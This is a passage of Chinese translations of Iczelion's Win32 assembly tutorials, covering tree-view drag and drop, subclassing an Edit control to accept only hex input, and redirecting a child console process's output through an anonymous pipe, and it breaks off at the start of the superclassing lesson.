    invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
现在把项目插入到树型视图控件中去，首先我们从根项目开始。因为是根项目，所以成员变量hParent是NULL，hInsertAfter是TVI_ROOT。imask指定TV_ITEM结构体变量中的pszText，iImage和iSelectedImage三个成员变量的值是有效的。我们应该给这三个成员变量赋上正确的值。其中pszText显示项目的名称，iImage是图像列表中图像的索引号，该图像显示在未选中的项目名称的左边，iSelectedImage是选中的项目的图像索引号。设置好了这些值后，我们发送TVM_INSERTITEM消息给树型视图控件来把根项目加入到树型视图控件中去。
    mov hParent,eax
    mov tvinsert.hParent,eax
    mov tvinsert.hInsertAfter,TVI_LAST
    mov tvinsert.u.item.pszText,offset Child1
    invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
    mov tvinsert.u.item.pszText,offset Child2
    invoke SendMessage,hwndTreeView,TVM_INSERTITEM,0,addr tvinsert
加入完根项目后，我们再加入子项目。这时的成员变量hParent是其父项目的句柄，hInsertAfter的值是TVI_LAST。至于选中和非选中时用的图像是一样的，所以我们无需更改其它变量的值。
    .elseif uMsg==WM_NOTIFY
    mov edi,lParam
    assume edi:ptr NM_TREEVIEW
    .if [edi].hdr.code==TVN_BEGINDRAG
    invoke SendMessage,hwndTreeView,TVM_CREATEDRAGIMAGE,0,[edi].itemNew.hItem
    mov hDragImageList,eax
    invoke ImageList_BeginDrag,hDragImageList,0,0,0
    invoke ImageList_DragEnter,hwndTreeView,[edi].ptDrag.x,[edi].ptDrag.y
    invoke SetCapture,hWnd
    mov DragMode,TRUE
    .endif
    assume edi:nothing
当用户拖动项目时，树型视图控件将发送WM_NOTIFY消息给它的父窗口，子消息号是TVN_BEGINDRAG。在lPAram中是指向结构体NM_TREEVIEW 的指针，该结构体包含了一些附加信息。我们把lParam的值放到edi寄存器中，这样就可以把edi作为一个指针来使用。“assume edi:ptr NM_TREEVIEW ”语句用来告诉编译器MASM把edi作为指向NM_TREEVIEW 的结构体的变量使用。我们通过发送消息TVM_CREATEDRAGIMAGE来创建一个拖动的图像。它将返回一个新创建的图像列表的句柄，该图像列表中包含拖动中的图像。我们调用ImageList_BeginDrag函数设置拖动图像的热点。调用ImageList_DragEnter函数进入操作。该函数会在特定位置显示拖动中的图像。起初显示的位置我们设在结构体NM_TREEVIEW中的成员变量ptDrag所指的位置。我们锁定鼠标的输入，并设置标志变量，表示我们进入了拖拉操作。
    .elseif uMsg==WM_MOUSEMOVE
    .if DragMode==TRUE
    mov eax,lParam
    and eax,0ffffh
    mov ecx,lParam
    shr ecx,16
    mov tvhit.pt.x,eax
    mov tvhit.pt.y,ecx
    invoke ImageList_DragMove,eax,ecx
    invoke ImageList_DragShowNolock,FALSE
    invoke SendMessage,hwndTreeView,TVM_HITTEST,NULL,addr tvhit
    .if eax!=NULL
    invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_DROPHILITE,eax
    .endif
    invoke ImageList_DragShowNolock,TRUE
    .endif
现在我们来看看WM_MOUSEMOVE消息的处理过程。当用户拖动图像时，我们的父窗口将接收到WM_MOUSEMOVE。为了响应这些消息，我们调用ImageList_DragMove来更新更新图像的位置。然后我们发送消息TVM_HITTEST给列表视图控件看看拖拉中的图像是否正好经过某些项目的上面，当然还要附带传递坐标位置等信息。如果经过的话，我们发送消息TVM_SELECTITEM并附带TVGN_DROPHILITE标志给树型视图控件，后者将会高亮度显示正被经过的项目。在高亮度显示的过程中，我们隐藏掉拖动中的图像免得显示的图像难看。
    .elseif uMsg==WM_LBUTTONUP
    .if DragMode==TRUE
    invoke ImageList_DragLeave,hwndTreeView
    invoke ImageList_EndDrag
    invoke ImageList_Destroy,hDragImageList
    invoke SendMessage,hwndTreeView,TVM_GETNEXTITEM,TVGN_DROPHILITE,0
    invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_CARET,eax
    invoke SendMessage,hwndTreeView,TVM_SELECTITEM,TVGN_DROPHILITE,0
    invoke ReleaseCapture
    mov DragMode,FALSE
    .endif
当用户释放鼠标左键后，拖拉操作就可以结束了。我们调用ImageList_DragLeave，ImageList_EndDrag和ImageList_Destroy来结束拖拉操作模式。为了使得树形视图控件好看，我们检查最后高亮度显示的项目，并且选中它。我们还必须使得其不高亮度显示，否则其它的项目被选中时就不能高亮度显示了。最后我们释放对鼠标输入事件的捕获。

翻译：Lxx.阿龙，校对：LuoYunBin's Win32 ASM Page， http://asm.yeah.net/


Iczelion's win32 asm tutorial

第二十课 窗口子类化

在这一讲，我们将学习什么是窗口子类化和怎样按你所想要的方式方便地使用它。

理论：

如果你曾经在 Windows 环境下编过程序，有时候就会发现：有一个现成的窗口，几乎有你所需要的全部功能，但还不完全一样（否则就没有必要讲这一节了）。你曾遇到过这样的处境吗，如果你需要一个具有过滤特殊字符功能的 Edit 控件。当然最直接的方法就是自己用代码来实现，但这的确是一个费时又很困难的任务，而窗口子类化就可以用来做这种事情。

窗口子类化允许你接管被子类化的窗口，使你对它有绝对的控制权。举个例子了来阐明一下：例如你需要一个只接受十六进制数字输入的文本编辑框，如果使用一个简单的 Edit控件，当用户输入十六进制以外的字符时，你既不知道也无计可施。也就是说，当用户进文本框中输入字符串 "zb+q*" 时，如果除了拒绝接受整个字符串以外几乎什么也不能做，至少这显得特别不专业。重要的是，你需要具有输入检测的能力，即每当用户输入一个字符到编辑框中时要能检测这个字符。

现在来解释实现细节：当用户往文本框中输入字符时，Windows 会给Edit控件的窗口函数发送 WM_CHAR 消息。这个窗口函数本身寄生于 Windows 中，因此不能直接修改它。但是我们可以重定向这个消息使之发送到我们自己编写的窗口处理函数。如果自定义窗口要处理这个消息那就可以处理它，如果不处理就可以把这个消息转发到它原来窗口处理函数。通过这种方式，自定义的窗口处理函数就把它自己插入到 Windows 系统和 Edit 控件之间。

看下面的流程：
窗口子类化之前
Windows ==>Edit 控件的窗口处理函数。

子类化之后
Windows ==>自定义的窗口处理函数==> Edit 控件的窗口处理函数。

注意子类化并不局限于控件，可以子类化任何窗口，现在我们要把精力集中到怎样实现子类化一个窗口上。让我们想想Windows 怎样知道 Edit 控件的窗口处理函数放在什么地方。猜的？…肯定不是。原来 WNDCLASSEX 结构的成员 lpfnWndProc 指出了窗口函数地址。如果能用自己编写的窗口函数的地址来替换这个成员变量，那 Windows 不就把消息发到自定义的窗口函数了吗! 我们通过调用函数SetWindowLong 来实现这个任务，此函数的原型为：

SetWindowLong PROTO hWnd:DWORD, nIndex:DWORD, dwNewLong:DWORD

  • hWnd = 将要实施子类化的窗口的句柄
  • nIndex = 函数了功能索引
    GWL_EXSTYLE 设置窗口的扩展风格.
    GWL_STYLE 设置新的窗口风格
    GWL_WNDPROC 设置新的窗口处理函数地址
    GWL_HINSTANCE 设置新的应用程序句柄
    GWL_ID 设置新的窗口标识
    GWL_USERDATA 设置一个与这个窗口相关的给用户使用的32位的数据
  • dwNewLong = 用来更新的数据

我们的工作还是比较简单的：

  1. 写一个窗口函数用于处理发给 Edit 控件的消息。
  2. 用参数GWL_WNDPROC调用SetWindowLong 函数，如果调用成功那么返回值就是与调用功能相联系的一个32位的整数

在我们的程序中，返回值就是原先窗口函数的地址。我们要保存这个值以便以后使用。 记住：有一些我们不处理的消息，需要把它们派遣给原来的窗口函数来处理，这就用到另外一个函数 CallWindowProc， 函数原型为：

CallWindowProc PROTO lpPrevWndFunc:DWORD, hWnd:DWORD, Msg:DWORD, wParam:DWORD, lParam:DWORD

lpPrevWndFunc = 窗口原来函数的地址. 剩下的四个参数就是发给自定义函数的参数，直接把它们传给函数 CallWindowProc 就行了。

代码举例：

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comctl32.inc
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
EditWndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD

.data
ClassName  db "SubclassWinClass",0
AppName    db "Subclassing Demo",0
EditClass  db "EDIT",0
Message  db "You pressed Enter in the text box!",0

.data?
hInstance  HINSTANCE ?
hwndEdit dd ?
OldWndProc dd ?

.code
start:
    invoke GetModuleHandle, NULL
    mov    hInstance,eax
    invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
    invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND
    mov   wc.cbSize,SIZEOF WNDCLASSEX
    mov   wc.style, CS_HREDRAW or CS_VREDRAW
    mov   wc.lpfnWndProc, OFFSET WndProc
    mov   wc.cbClsExtra,NULL
    mov   wc.cbWndExtra,NULL
    push  hInst
    pop   wc.hInstance
    mov   wc.hbrBackground,COLOR_APPWORKSPACE
    mov   wc.lpszMenuName,NULL
    mov   wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov   wc.hIcon,eax
    mov   wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov   wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
 WS_OVERLAPPED+WS_CAPTION+WS_SYSMENU+WS_MINIMIZEBOX+WS_MAXIMIZEBOX+WS_VISIBLE,CW_USEDEFAULT,\
           CW_USEDEFAULT,350,200,NULL,NULL,\
           hInst,NULL
    mov   hwnd,eax
    .while TRUE
        invoke GetMessage, ADDR msg,NULL,0,0
        .BREAK .IF (!eax)
        invoke TranslateMessage, ADDR msg
        invoke DispatchMessage, ADDR msg
    .endw
    mov eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    .if uMsg==WM_CREATE
        invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR EditClass,NULL,\
            WS_CHILD+WS_VISIBLE+WS_BORDER,20,\
            20,300,25,hWnd,NULL,\
            hInstance,NULL
        mov hwndEdit,eax
        invoke SetFocus,eax
        ;-----------------------------------------
        ; Subclass it!
        ;-----------------------------------------
        invoke SetWindowLong,hwndEdit,GWL_WNDPROC,addr EditWndProc
        mov OldWndProc,eax
    .elseif uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .else
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
WndProc endp

EditWndProc PROC hEdit:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
    .if uMsg==WM_CHAR
        mov eax,wParam
        .if (al>="0" && al<="9") || (al>="A" && al<="F") || (al>="a" && al<="f") || al==VK_BACK
            .if al>="a" && al<="f"
                sub al,20h
            .endif
            invoke CallWindowProc,OldWndProc,hEdit,uMsg,eax,lParam
            ret
        .endif
    .elseif uMsg==WM_KEYDOWN
        mov eax,wParam
        .if al==VK_RETURN
            invoke MessageBox,hEdit,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
            invoke SetFocus,hEdit
        .else
            invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
            ret
        .endif
    .else
        invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
        ret
    .endif
    xor eax,eax
    ret
EditWndProc endp
end start

分析：

invoke SetWindowLong,hwndEdit,GWL_WNDPROC,addr EditWndProc
mov OldWndProc,eax

在创建 Edit 控件后，通过调用 SetWindowLong 把原来的窗口函数地址替换为自定义函数的地址，从而对它实施了窗口子类化，要注意 为了调用函数 CallWindowProc，我们存储了原窗口函数地址，自已编写的EditWndProc 仅仅是个普普通通的窗口函数。当然也可以再调用一次 SetWindowLong 函数来存储这个32位的值，

invoke SetWindowLong ,hwndEdit,GWL_USERDATA,eax 。

当然用的时候就要调用GetWindowLong 来取回这个值。

  .if uMsg==WM_CHAR
        mov eax,wParam
        .if (al>="0" && al<="9") || (al>="A" && al<="F") || (al>="a" && al<="f") || al==VK_BACK
            .if al>="a" && al<="f"
                sub al,20h
            .endif
            invoke CallWindowProc,OldWndProc,hEdit,uMsg,eax,lParam
            ret
        .endif
在函数 EditWndProc 中，我们自己处理了WM_CHAR消息： 如果输入的字符是'0'--'9'、'A'-'F'或者是'a'--'f'就接受，并且把此消息转发给原窗口函数，其中若输入的是小写的'a'--'f'就把它变为大写。如果输入的不是十六进制字符，就丢掉它，并且也不转发此消息。因此当输入是非十六进制字符时，这个字符就不会显示在 Edit 控件中。

    .elseif uMsg==WM_KEYDOWN
        mov eax,wParam
        .if al==VK_RETURN
            invoke MessageBox,hEdit,addr Message,addr AppName,MB_OK+MB_ICONINFORMATION
            invoke SetFocus,hEdit
        .else
            invoke CallWindowProc,OldWndProc,hEdit,uMsg,wParam,lParam
            ret
        .end
在这里我们通过处理 回车(Enter) 键进一步示范了子类化的能力。EditWndProc 通过检查 WM_KEYDONW 消息来判断是否是 回车键，若是显示提示消息框，否则转发此消息。 你可以用窗口子类化来控制另外的窗口，这是必须掌握的十分有用的技术之一。

翻译：ZhangJun，校对：LuoYunBin's Win32 ASM Page， http://asm.yeah.net


Iczelion's win32 asm tutorial

第二十一课 管道

这一讲将探索一下管道，看看它是什么、有什么用。为使之更加生动有趣，我将用怎样改变 Edit 控件的背景色和文本颜色来说明此技术。

理论：

管道，顾名思义就是有两个端的通道。可以使用管道在进程间、同一进程内进行数据交换，就像手提式无线电话机一样。把管道的一端给另一方，他就可以借助管道和你通讯了。

有两种管道，即有名管道和匿名管道。匿名管道就是没有名字的管道了，也就是说在使用它们时不需要知道其名字。而有名管道正好相反，在使用前必须知道其名字。

也可以根据管道的特性来分类，即是单向的还是双向的。单向管道，数据只能沿一个方向移动，从一端流向另一端，而双向管道数据可以在两端间自由交换。匿名管道通常是单向的而有名管道通常是双向的。有名管道常用于一个服务器联络多个客户端的网络环境。

这一讲将详细讨论一下匿名管道。匿名管道主要目的是作为父进程与子进程、子进程之间通讯的联结通路。在处理控制台问题时，匿名管道是相当有用的。控制台应用程序就是使用控制台作为输入和输出的一种 Win32 应用程序。一个控制台就像一个 DOS 窗口。但控制台应用程序的的确确是32位的应用程序，它可以向其它图形程序一样使用 GUI 函数，只不过它碰巧使用了控制台罢了。

控制台应用程序有三个用于输入输出的标准句柄，它们是标准输入、标准输出和标准错误句柄。标准输入用于从控制台读或取信息而标准输出用于往控制台写或打印信息。标准错误用于汇报输出不能重定向的错误。

控制台应用程序可以通过调用函数 GetStdHandle 来获得这三个句柄。一个图形应用程序没有控制台，如果在其中调用GetStdHandle 就会返回错误；如果的确要使用控制台，可以调用AllocConsole 来分配一个新的控制台以使用，但当处理完成时，别忘了调用 FreeConsole 来释放控制台。

匿名管道用得最多的功能就是 重定向子进程的标准输入和标准输出。父进程可以是一个控制台或者是图形程序，而子进程必须是控制台应用程序。众所周知，控制台应用使用标准输入输出句柄。若要重定向输入输出，就得用指向管道一端的句柄来替换这个标准句柄。控制台应用程序不会知道我们使用了指向管道任一端的句柄，它会把这个句柄作为标准句柄来看待。借用面向对象的术语，这就是多态性的一种。因为子进程不需作任何改动，因此这种方法是非常有用的。

关于控制台应用程序应该掌握的另一点就是它从哪获得标准句柄。当一个控制台应用程序被创建时，父进程有两种选择：为子进程创建一个新的控制台或者是让子进程继承自己的控制台。若使用后者，那父进程本身必须是一个控制台应用程序，或者如果是 GUI 应用程序，它必须首先调用 AllocConsole 分配了一个控制台。

通过调用 CreatePipe 来创建一个匿名管道，它的原型为：

CreatePipe proto pReadHandle:DWORD, \
pWriteHandle:DWORD,\
pPipeAttributes:DWORD,\
nBufferSize:DWORD

  • pReadHandle 双字指针变量，指向管道读端的句柄。
  • pWriteHandle 双字指针变量，指向管道写端的句柄
  • pPipeAttributes 双字指针变量，指向SECURITY_ATTRIBUTES 结构，其用于决定读写句柄是否可以被子进程继承
  • nBufferSize 建议管道留给用户使用的缓冲区的大小，这仅仅是个建议值，可以用 NULL 来使用缺省值

如果函数调用成功返回值为非零，否则为零。成功调用之后，就会得到两个句柄，一个指向管道的读出端，另一个指向管道的写入端。现在我将要把重点放到重定向子控制台程序的标准输出到自己进程的所需的步骤上。注意我的这个方法不同于Borland 公司的 API 参考上的例子。Win32 API 参考上假设父进程是控制台应用程序，因此子进程可以继承它的标准句柄。然而大多数情况下我们需要重定向控制台应用程序的输出到 GUI 应用程序。

创建匿名管道使用 CreatePipe ，同时别忘了把 SECURITY_ATTRIBUTES 结构成员bInheritable 设置为TRUE，这样才可以继承句柄。

现在要准备好创建进程的函数即CreateProcess 的参数，只有它才可以装载子控制台应用程序。STARTUPINFO 是一个重要的结构，它决定了子进程出现时主窗口的外观，它对于我们的目标也是至关重要的。通过这个结构就可以隐藏主窗口并且把管道句柄传递给子进程。

以下就是必须要填写的成员：

  • cb STARTUPINFO结构的大小
  • dwFlags 二进制标志位，它决定本结构的哪些成员有效，也决定主窗口是显示还是隐藏的状态。在我们的程序中使用STARTF_USESHOWWINDOW 和 STARTF_USESTDHANDLES的组合
  • hStdOutput 和hStdError 你想要子进程使用的标准输出和标准错误句柄，对我们来说，我们将把管道的写端作为子进程的标准输出和错误。因此当子进程往标准输出或标准错误发送信息时，它实际上把这些信息通过管道传给了父进程
  • wShowWindow 决定主窗口是显示还是隐藏。我们不希望显示子进程的主窗口，因此把该成员置成SW_HIDE

调用CreateProcess 来创建子进程，但调用成功后子进程仍然不处于激活状态。它被装进了内存但并没有立即运行。

在父进程中关闭管道的写端也是必须的。这是因为父进程并不使用管道的写句柄，而且如果一个管道有两个写入端也就不会工作，因此我们在从管道往外读数据之前必须关闭管道的写端。但是不能在调用CreateProcess 之前关闭，否则管道就坏了。你应当在CreateProcess 刚刚返回并且在读数据之前关闭管道的写端。

现在就可以通过函数ReadFile 在管道的读端读数据了。通过使用ReadFile ，可以使子进程处于运行状态。它将开始执行，并且当它往标准输出( 实际上是管道的写端 )上写数据时，数据就会被送至管道的读端。应当不停调用ReadFile 直至它的返回值为 0 ，也就是说再也没有数据可读了。对从管道读来的数据你可以进行任何处理，在我们的例子中它被显示在 Edit 控件中。

记得用完后关闭管道的读句柄。

代码举例：

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\gdi32.inc
includelib \masm32\lib\gdi32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD

.const
IDR_MAINMENU equ 101         ; the ID of the main menu
IDM_ASSEMBLE equ 40001

.data
ClassName            db "PipeWinClass",0
AppName              db "One-way Pipe Example",0 EditClass db "EDIT",0
CreatePipeError     db "Error during pipe creation",0
CreateProcessError     db "Error during process creation",0
CommandLine     db "ml /c /coff /Cp test.asm",0

.data?
hInstance HINSTANCE ?
hwndEdit dd ?

.code
start:
    invoke GetModuleHandle, NULL
    mov hInstance,eax
    invoke WinMain, hInstance,NULL,NULL, SW_SHOWDEFAULT
    invoke ExitProcess,eax

WinMain proc hInst:DWORD,hPrevInst:DWORD,CmdLine:DWORD,CmdShow:DWORD
    LOCAL wc:WNDCLASSEX
    LOCAL msg:MSG
    LOCAL hwnd:HWND
    mov wc.cbSize,SIZEOF WNDCLASSEX
    mov wc.style, CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc, OFFSET WndProc
    mov wc.cbClsExtra,NULL
    mov wc.cbWndExtra,NULL
    push hInst
    pop wc.hInstance
    mov wc.hbrBackground,COLOR_APPWORKSPACE
    mov wc.lpszMenuName,IDR_MAINMENU
    mov wc.lpszClassName,OFFSET ClassName
    invoke LoadIcon,NULL,IDI_APPLICATION
    mov wc.hIcon,eax
    mov wc.hIconSm,eax
    invoke LoadCursor,NULL,IDC_ARROW
    mov wc.hCursor,eax
    invoke RegisterClassEx, addr wc
    invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\ WS_OVERLAPPEDWINDOW+WS_VISIBLE,CW_USEDEFAULT,\ CW_USEDEFAULT,400,200,NULL,NULL,\ hInst,NULL
    mov hwnd,eax
    .while TRUE
        invoke GetMessage, ADDR msg,NULL,0,0
        .BREAK .IF (!eax)
        invoke TranslateMessage, ADDR msg
        invoke DispatchMessage, ADDR msg
    .endw
    mov eax,msg.wParam
    ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
    LOCAL rect:RECT
    LOCAL hRead:DWORD
    LOCAL hWrite:DWORD
    LOCAL startupinfo:STARTUPINFO
    LOCAL pinfo:PROCESS_INFORMATION
    LOCAL buffer[1024]:byte
    LOCAL bytesRead:DWORD
    LOCAL hdc:DWORD
    LOCAL sat:SECURITY_ATTRIBUTES
    .if uMsg==WM_CREATE
        invoke CreateWindowEx,NULL,addr EditClass, NULL, WS_CHILD+ WS_VISIBLE+ ES_MULTILINE+ ES_AUTOHSCROLL+ ES_AUTOVSCROLL, 0, 0, 0, 0, hWnd, NULL, hInstance, NULL
        mov hwndEdit,eax
    .elseif uMsg==WM_CTLCOLOREDIT
        invoke SetTextColor,wParam,Yellow
        invoke SetBkColor,wParam,Black
       invoke GetStockObject,BLACK_BRUSH
        ret
    .elseif uMsg==WM_SIZE
        mov edx,lParam
        mov ecx,edx
        shr ecx,16
        and edx,0ffffh
        invoke MoveWindow,hwndEdit,0,0,edx,ecx,TRUE
    .elseif uMsg==WM_COMMAND
       .if lParam==0
            mov eax,wParam
            .if ax==IDM_ASSEMBLE
                mov sat.niLength,sizeof SECURITY_ATTRIBUTES
                mov sat.lpSecurityDescriptor,NULL
                mov sat.bInheritHandle,TRUE
                invoke CreatePipe,addr hRead,addr hWrite,addr sat,NULL
                .if eax==NULL
                    invoke MessageBox, hWnd, addr CreatePipeError, addr AppName, MB_ICONERROR+ MB_OK
                .else
                    mov startupinfo.cb,sizeof STARTUPINFO
                    invoke GetStartupInfo,addr startupinfo
                    mov eax, hWrite
                    mov startupinfo.hStdOutput,eax
                    mov startupinfo.hStdError,eax
                    mov startupinfo.dwFlags, STARTF_USESHOWWINDOW+ STARTF_USESTDHANDLES
                    mov startupinfo.wShowWindow,SW_HIDE
                    invoke CreateProcess, NULL, addr CommandLine, NULL, NULL, TRUE, NULL, NULL, NULL, addr startupinfo, addr pinfo
                    .if eax==NULL
                        invoke MessageBox,hWnd,addr CreateProcessError,addr         AppName,MB_ICONERROR+MB_OK
                    .else
                        invoke CloseHandle,hWrite
                        .while TRUE
                            invoke RtlZeroMemory,addr buffer,1024
                            invoke ReadFile,hRead,addr buffer,1023,addr bytesRead,NULL
                            .if eax==NULL
                                .break
                            .endif
                            invoke SendMessage,hwndEdit,EM_SETSEL,-1,0
                            invoke SendMessage,hwndEdit,EM_REPLACESEL,FALSE,addr buffer
                        .endw
                    .endif
                    invoke CloseHandle,hRead
                .endif
            .endif
        .endif
    .elseif uMsg==WM_DESTROY
        invoke PostQuitMessage,NULL
    .else
        invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret
    .endif
    xor eax,eax
    ret
WndProc endp
end start

分析：

这个例子调用 ml.exe 来汇编一个名为 test.asm 的程序，并且重定向 ml.exe 的输出到客户区的 Edit 控件中。当程序被加载时，象往常一样要注册窗口类和创建主窗口。在主窗口被创建的过程中要做的第一件事就是创建用于显示程序 ml.exe 输出的 Edit 控件。

现在有趣的事来了，我们将改变此 Edit 控件的文本颜色和背景色。当 Edit 控件将要重画客户区时，它会给父窗口发送 WM_CTLCOLOREDIT 消息。参数 wParam 包含了用于画控件自己的客户区设备描述符的句柄 (HDC) 。我们可以利用这种机制来修改 HDC 的特性。

    .elseif uMsg==WM_CTLCOLOREDIT
        invoke SetTextColor,wParam,Yellow
        invoke SetTextColor,wParam,Black
        invoke GetStockObject,BLACK_BRUSH
        ret

SetTextColor 把文本颜色变为黄色，背景颜色变为黑色。最后我们返回一个通过调用GetStockObject 而得到黑色刷子的句柄。处理WM_CTLCOLOREDIT 必须返回一个刷子的句柄，因为 Windows 将要使用这个刷子来重画 Edit 控件的背景。在这个例子中，我希望背景是黑色，所以返回了一个黑色刷子的句柄。

现在当用户选择 Assemble 子菜单时，就会创建一个匿名管道。

            .if ax==IDM_ASSEMBLE
                mov sat.niLength,sizeof SECURITY_ATTRIBUTES
                mov sat.lpSecurityDescriptor,NULL
                mov sat.bInheritHandle,TRUE

在调用CreatePipe 之前，必须要填写SECURITY_ATTRIBUTES 结构。如果我们不关心安全性的话，可以在lpSecurityDescriptor 成员中填入 NULL 。bInheritHandle 则必须为 TRUE ，这样管道的句柄才可以被子进程继承。

invoke CreatePipe,addr hRead,addr hWrite,addr sat,NULL

在此之后，我们调用CreatePipe 来创建管道，如果成功，那么变量hRead 和 hWrite 将分别被填入相应的管道的读出端和写入端的句柄。

                    mov startupinfo.cb,sizeof STARTUPINFO
                    invoke GetStartupInfo,addr startupinfo
                    mov eax, hWrite
                    mov startupinfo.hStdOutput,eax
                    mov startupinfo.hStdError,eax
                    mov startupinfo.dwFlags, STARTF_USESHOWWINDOW+ STARTF_USESTDHANDLES
                    mov startupinfo.wShowWindow,SW_HIDE

下一步就是填写STARTUPINFO 结构了。调用 GetStartupinfo 用父进程的缺省值来填写STARTUPINFO 结构。如果要使程序同时工作在 Windows9x 和 Windows NT 下，就必须调用GetStartupInfo 来填写STARTUPINFO 结构。调用返回后，就可以修改重要的成员了。因为我们要子进程输出到父进程而不是缺省的标准输出和标准错误，所以我们把hStdOutput 和 hStdError 都赋成管道写端的句柄。为了隐藏子进程的主窗口，必须把成员变量wShowWidow 赋值为SW_HIDE 。最后通过把成员 dwFlags 赋值为STARTF_USESHOWWINDOW 和 STARTF_USESTDHANDLES 来指明成员hStdOutput, hStdError 和 wShowWindow 是有效的。

invoke CreateProcess, NULL, addr CommandLine, NULL, NULL, TRUE, NULL, NULL, NULL, addr startupinfo, addr pinfo

现在调用CreateProcess 来创建子进程。注意为使管道工作，参数bInheritHandles 必须设置为TRUE。 invoke CloseHandle,hWrite 成功创建子进程之后，在父进程中必须关闭管道的写端。我们已经把写端的句柄通过结构STARTUPINFO 传给了子进程。如果不关闭，那么管道就有两个写入端，而这样的管道是不会工作的。所以必须在创建子进程后但在读数据前关闭这个句柄。

                        .while TRUE
                            invoke RtlZeroMemory,addr buffer,1024
                            invoke ReadFile,hRead,addr buffer,1023,addr bytesRead,NULL
                            .if eax==NULL
                                .break
                            .endif
                            invoke SendMessage,hwndEdit,EM_SETSEL,-1,0
                            invoke SendMessage,hwndEdit,EM_REPLACESEL,FALSE,addr buffer
                        .endw

现在已经准备好从子进程的标准输出读数据了。直到再也没有数据了，即 ReadFile 返回为 NULL时才会退出循环，否则一直会等待数据。我们调用ReadFile 之前先调用RtlZeroMemory 来清空内存，并且用管道的读句柄代替文件句柄。注意读数据的最大长度为 1023 ( sizeof(buffer)-1 )，因为我们需要把接受的字符变为一个 Edit 控件可以处理的 ASCII 串。当ReadFile 返回时，就把此数据传给 Edit 控件。然而这有一个小小的问题，如果使用SetWindowText API 往 Edit 控件中写数据，新数据就会覆盖已存在的旧数据，而我们想把新数据添加在已有数据的后面。为达此目的，首先通过发送一个 wParam 为-1的 EM_SETSEL 消息，把 Edit 控件的输入焦点移动到文本的末端；然后发送一个 EM_REPLACESEL 消息把数据添加后面。

invoke CloseHandle,hRead

当ReadFile 返回为NULL时，就跳出循环并关闭管道的读句柄。

翻译：ZhangJun，校对：LuoYunBin's Win32 ASM Page， http://asm.yeah.net


Iczelion's win32 asm tutorial

第22课 超类化

在这一讲我们将学习什么是超类化以及它有什么作用；同时你还会学到怎样在自己的窗口中用Tab键在控件中切换这一技巧。

理论：

在你的程序生涯中你肯定遇到过这样的情况，你需要一系列的控件，但它们之间却只有一点点的不同。例如，你可能需要10个只接受数字的 Edit 控件，当然你可以通过多种方法来达到这个目的。

  1. 创建自己的类并用它实例化为那些控件
  2. 创建那些 Edit 控件并把它们全部子类化
  3. 超类化Edit 控件

第一种方法太乏味了，因为你必须自己实现Edit 控件的每个功能，但这项工作不是轻松就能完成的。第二种方法好于第一种，但仍然要做许多工作，子类化几个Edit 控件还可以接受，但若要子类化十几二十个，这项工作简直就是一场恶梦。在这种情况下就应该使用超类化这个技巧，它是用于控制某一个特定窗口类的特殊方法。通过这种控制就可以修改窗口类的特性使之符合你的要求，然后再创建那一堆控件就可以了。

超类化有如下几个步骤：

  1. 通过调用 GetClassInfoEx 来获得想要进行超类化操作的窗口类的信息。函数GetClassInfoEx 需要一个指向 WNDCLASSEX 结构的指针，用于当成功返回时填入窗口类的信息。
  2. 按需要修改 WNDCLASSEX 结构的成员，其中有两个成员必须修改：
    hInstance 存放程序的实例句柄
    lpszClassName 指向一个新类名的指针
    不必修改成员 lpfnWndProc，但大多数情况下还是需要的。但要记住如果要使用函数 CallWindowProc 调用老窗口的过程，那就必须保存成员 lpfnWndProc 的原值。
  3. 注册修改完的 WNDCLASSEX 结构，得到一个具有旧窗口类某些特性的新窗口类。
  4. 用新窗口类创建窗口

如果要创建具有相同特性的多个控件，超类化就比子类化要好。

举例：

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
WM_SUPERCLASS equ WM_USER+5
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
EditWndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD

.data
ClassName db "SuperclassWinClass",0
AppName db "Superclassing Demo",0
EditClass db "EDIT",0
OurClass db "SUPEREDITCLASS",0
Message db "You pressed the Enter key in the text box!",0

.data?
